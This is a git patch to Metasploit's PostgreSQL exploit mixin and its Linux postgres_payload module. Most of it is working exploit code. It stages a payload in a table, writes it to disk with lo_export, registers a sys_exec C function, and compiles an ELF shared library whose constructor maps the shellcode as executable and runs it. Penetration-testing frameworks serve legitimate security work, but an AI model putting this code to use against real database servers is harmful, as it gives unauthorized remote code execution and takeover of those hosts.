From 9c6fdbe9d717f96b1151db1fe82145f227194d85 Mon Sep 17 00:00:00 2001 From: James Lee Date: Sat, 13 Oct 2012 15:18:25 -0500 Subject: [PATCH] Compile a .so instead of being version-specific This makes it possible to use payloads for the appropriate architecture NOTE: need to test windows and make sure I didn't break it --- lib/msf/core/exploit/postgres.rb | 110 ++++++--------- .../linux/postgres/postgres_payload.rb | 125 +++++++++++------- 2 files changed, 118 insertions(+), 117 deletions(-) diff --git a/lib/msf/core/exploit/postgres.rb b/lib/msf/core/exploit/postgres.rb index f56c51f7c7..2f4a4a8da5 100644 --- a/lib/msf/core/exploit/postgres.rb +++ b/lib/msf/core/exploit/postgres.rb @@ -98,7 +98,6 @@ module Exploit::Remote::Postgres def postgres_query(sql=nil,doprint=false) ip = datastore['RHOST'] port = datastore['RPORT'] - verbose = datastore['VERBOSE'] postgres_login unless self.postgres_conn unless self.postgres_conn return {:conn_error => true} @@ -155,7 +154,7 @@ module Exploit::Remote::Postgres # postgres_fingerprint attempts to fingerprint a remote Postgresql instance, # inferring version number from the failed authentication messages. def postgres_fingerprint(args={}) - postgres_logout if self.postgres_conn + return postgres_authed_fingerprint if self.postgres_conn db = args[:database] || datastore['DATABASE'] username = args[:username] || datastore['USERNAME'] password = args[:password] || datastore['PASSWORD'] @@ -167,7 +166,6 @@ module Exploit::Remote::Postgres uri = "tcp://[#{rhost}]:#{rport}" end - verbose = args[:verbose] || datastore['VERBOSE'] begin self.postgres_conn = Connection.new(db,username,password,uri) @@ -175,11 +173,13 @@ module Exploit::Remote::Postgres version_hash = analyze_auth_error e return version_hash end - if self.postgres_conn # Just ask for the version. - resp = postgres_query("select version()",false) - ver = resp[:complete].rows[0][0] - return {:auth => ver} - end + return postgres_authed_fingerprint if self.postgres_conn + end + + def postgres_authed_fingerprint + resp = postgres_query("select version()",false) + ver = resp[:complete].rows[0][0] + return {:auth => ver} end # Matches up filename, line number, and routine with a version. @@ -264,7 +264,7 @@ module Exploit::Remote::Postgres read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT); COPY #{temp_table_name} FROM '#{filename}'; SELECT * FROM #{temp_table_name}} - read_return = postgres_query(read_query,true) + return postgres_query(read_query,true) end def postgres_has_database_privilege(priv) @@ -288,17 +288,6 @@ module Exploit::Remote::Postgres return true end - # Creates the function sys_exec() in the pg_temp schema. - def postgres_create_sys_exec_linux(so) - q = "create or replace function pg_temp.sys_exec(text) returns int4 as '#{so}', 'sys_exec' language C returns null on null input immutable" - resp = postgres_query(q); - if resp[:sql_error] - print_error "Error creating pg_temp.sys_exec: #{resp[:sql_error]}" - return false - end - return true - end - # This presumes the pg_temp.sys_exec() udf has been installed, almost # certainly by postgres_create_sys_exec() def postgres_sys_exec(cmd) @@ -315,8 +304,13 @@ module Exploit::Remote::Postgres # Takes a local filename and uploads it into a table as a Base64 encoded string. # Returns an array if successful, false if not. - def postgres_upload_binary_file_linux(fname) - data = postgres_base64_file(fname) + def postgres_upload_binary_file(fname, remote_fname=nil) + data = File.read(fname) + postgres_upload_binary_data(data, remote_fname) + end + + def postgres_upload_binary_data(data, remote_fname=nil) + data = postgres_base64_data(data) tbl,fld = postgres_create_stager_table return false unless data && tbl && fld q = "insert into #{tbl}(#{fld}) values('#{data}')" @@ -325,37 +319,32 @@ module Exploit::Remote::Postgres print_error resp[:sql_error] return false end - oid, fout = postgres_write_data_to_disk_linux(tbl,fld) - return false unless oid && fout - return [tbl,fld,fout,oid] - end - - # Takes a local filename and uploads it into a table as a Base64 encoded string. - # Returns an array if successful, false if not. - def postgres_upload_binary_file(fname) - data = postgres_base64_file(fname) - tbl,fld = postgres_create_stager_table - return false unless data && tbl && fld - q = "insert into #{tbl}(#{fld}) values('#{data}')" - resp = postgres_query(q) - if resp[:sql_error] - print_error resp[:sql_error] - return false - end - oid, fout = postgres_write_data_to_disk(tbl,fld) + oid, fout = postgres_write_data_to_disk(tbl,fld,remote_fname) return false unless oid && fout return [tbl,fld,fout,oid] end # Writes b64 data from a table field, decoded, to disk. - def postgres_write_data_to_disk_linux(tbl,fld) + def postgres_write_data_to_disk(tbl,fld,remote_fname=nil) oid = rand(60000) + 1000 - fname = "/tmp/" + Rex::Text::rand_text_alpha(8) + ".so" - queries = [ - "select lo_create(#{oid})", - "update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}", - "select lo_export(#{oid}, '#{fname}')" - ] + remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll" + + ver = postgres_fingerprint + case ver[:auth] + when /PostgreSQL 8\./ + queries = [ + "select lo_create(#{oid})", + "update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}", + "select lo_export(#{oid}, '#{remote_fname}')" + ] + when /PostgreSQL 9\./ + queries = [ + "select lo_create(#{oid})", + "insert into pg_largeobject select #{oid}, 0, decode((select #{fld} from #{tbl}), 'base64')", + "select lo_export(#{oid}, '#{remote_fname}')" + ] + end + queries.each do |q| resp = postgres_query(q) if resp && resp[:sql_error] @@ -364,37 +353,16 @@ module Exploit::Remote::Postgres break end end - return oid,fname - end - - - # Writes b64 data from a table field, decoded, to disk. - def postgres_write_data_to_disk(tbl,fld) - oid = rand(60000) + 1000 - fname = Rex::Text::rand_text_alpha(8) + ".dll" - queries = [ - "select lo_create(#{oid})", - "update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}", - "select lo_export(#{oid}, '#{fname}')" - ] - queries.each do |q| - resp = postgres_query(q) - if resp && resp[:sql_error] - print_error "Could not write the library to disk." - print_error resp[:sql_error] - break - end - end - return oid,fname + return oid,remote_fname end # Base64's a file and returns the data. def postgres_base64_file(fname) data = File.open(fname, "rb") {|f| f.read f.stat.size} - [data].pack("m*").gsub(/\r?\n/,"") + postgres_base64_data(data) end - def postgres_base64_elf(data) + def postgres_base64_data(data) [data].pack("m*").gsub(/\r?\n/,"") end diff --git a/modules/exploits/linux/postgres/postgres_payload.rb b/modules/exploits/linux/postgres/postgres_payload.rb index c7a751279d..50d4a12ed8 100644 --- a/modules/exploits/linux/postgres/postgres_payload.rb +++ b/modules/exploits/linux/postgres/postgres_payload.rb @@ -10,6 +10,8 @@ ## require 'msf/core' +require 'msf/core/exploit/postgres' +load 'lib/msf/core/exploit/postgres.rb' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking @@ -34,41 +36,31 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'midnitesnake' # this Metasploit module + 'midnitesnake', # this Metasploit module + 'egypt' # .so technique ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ - [ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' - ] + [ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ] ], - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, + 'Platform' => 'linux', 'Payload' => { - 'Space' => 0x65535, + 'Space' => 65535, 'DisableNops' => true, - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'perl', - } }, 'Targets' => - [ - [ 'Automatic', { } ], - ], + [ + [ 'Linux x86', { 'Arch' => ARCH_X86 } ], + [ 'Linux x86_64', { 'Arch' => ARCH_X86_64 } ], + ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 05 2007' )) - register_options( - [ - OptEnum.new('BITS',[true,'The architecture of the operating system X86(32) / or X86_64(64) bit OS','32',['32','64']]) - ],self.class) - deregister_options('SQL', 'RETURN_ROWSET') end @@ -76,9 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote def username; datastore['USERNAME']; end def password; datastore['PASSWORD']; end def database; datastore['DATABASE']; end + def rhost; datastore['rhost']; end + def rport; datastore['rport']; end def verbose; datastore['VERBOSE']; end - def rhost; datastore['RHOST']; end - def rport; datastore['RPORT']; end def bits; datastore['BITS'];end def execute_command(cmd, opts) @@ -92,49 +84,34 @@ class Metasploit3 < Msf::Exploit::Remote when :noauth; print_error "Authentication failed." when :noconn; print_error "Connection failed." end - return unless version =~ /8\.[234]/ + #return unless version =~ /8\.[234]/ print_status "Authentication successful and vulnerable version #{version} on Linux confirmed." - tbl,fld,so,oid = postgres_upload_binary_file_linux(so_fname(version)) + tbl,fld,so,oid = postgres_upload_binary_data( + payload_so, + "/tmp/#{Rex::Text.rand_text_alpha(8)}.so" + ) + unless tbl && fld && so && oid print_error "Could not upload the UDF SO" return end print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})" - ret_sys_exec = postgres_create_sys_exec_linux(so) - if ret_sys_exec - if @postgres_conn - print_status "Success" - tbl,fld,myexploit,oid = postgres_upload_binary_file_elf("#!/bin/sh\n" + payload.encode) - unless tbl && fld && myexploit && oid - print_error "Could not upload the PAYLOAD" - return - end - print_status "Uploaded #{myexploit} as OID #{oid} to table #{tbl}(#{fld})" - postgres_sys_exec("chmod 755 #{myexploit}") - postgres_sys_exec("#{myexploit}") - handler - postgres_logout if @postgres_conn - else - print_error "Lost connection." - return - end + begin + postgres_create_sys_exec(so) + rescue end postgres_logout if @postgres_conn end - def so_fname(version) - print_status "Using #{version}/#{bits}/lib_postgresqludf_sys.so" - File.join(Msf::Config.install_root,"data","exploits","postgres",version,bits,"lib_postgresqludf_sys.so") - end # A shorter version of do_fingerprint from the postgres_version scanner # module, specifically looking for versions that valid targets for this # module. def get_version(user=nil,pass=nil,database=nil) begin - msg = "#{rhost}:#{rport} Postgres -" + #msg = "#{rhost}:#{rport} Postgres -" password = pass || postgres_password vprint_status("Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") result = postgres_fingerprint( @@ -164,4 +141,60 @@ class Metasploit3 < Msf::Exploit::Remote end end + + def payload_so + shellcode = Rex::Text.to_hex(payload.encoded, "\\x") + #shellcode = "\\xcc" + + c = %Q^ + int _exit(int); + int printf(const char*, ...); + int perror(const char*); + void *mmap(int, int, int, int, int, int); + void *memcpy(void *, const void *, int); + int mprotect(void *, int, int); + int fork(); + + #define MAP_PRIVATE 2 + #define MAP_ANONYMOUS 32 + #define PROT_READ 1 + #define PROT_WRITE 2 + #define PROT_EXEC 4 + + #define PAGESIZE 0x1000 + + char shellcode[] = "#{shellcode}"; + + void run_payload(void) __attribute__((constructor)); + + void run_payload(void) + { + int (*fp)(); + fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); + + memcpy(fp, shellcode, sizeof(shellcode)); + if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) { + _exit(1); + } + if (!fork()) { + fp(); + } + + return; + } + + ^ + + cpu = case target_arch.first + when ARCH_X86; Metasm::Ia32.new + when ARCH_X86_64; Metasm::X86_64.new + end + payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c") + + so_file = payload_so.encode_string(:lib) + + File.open("payload.so", "wb") { |fd| fd.write so_file } + + so_file + end end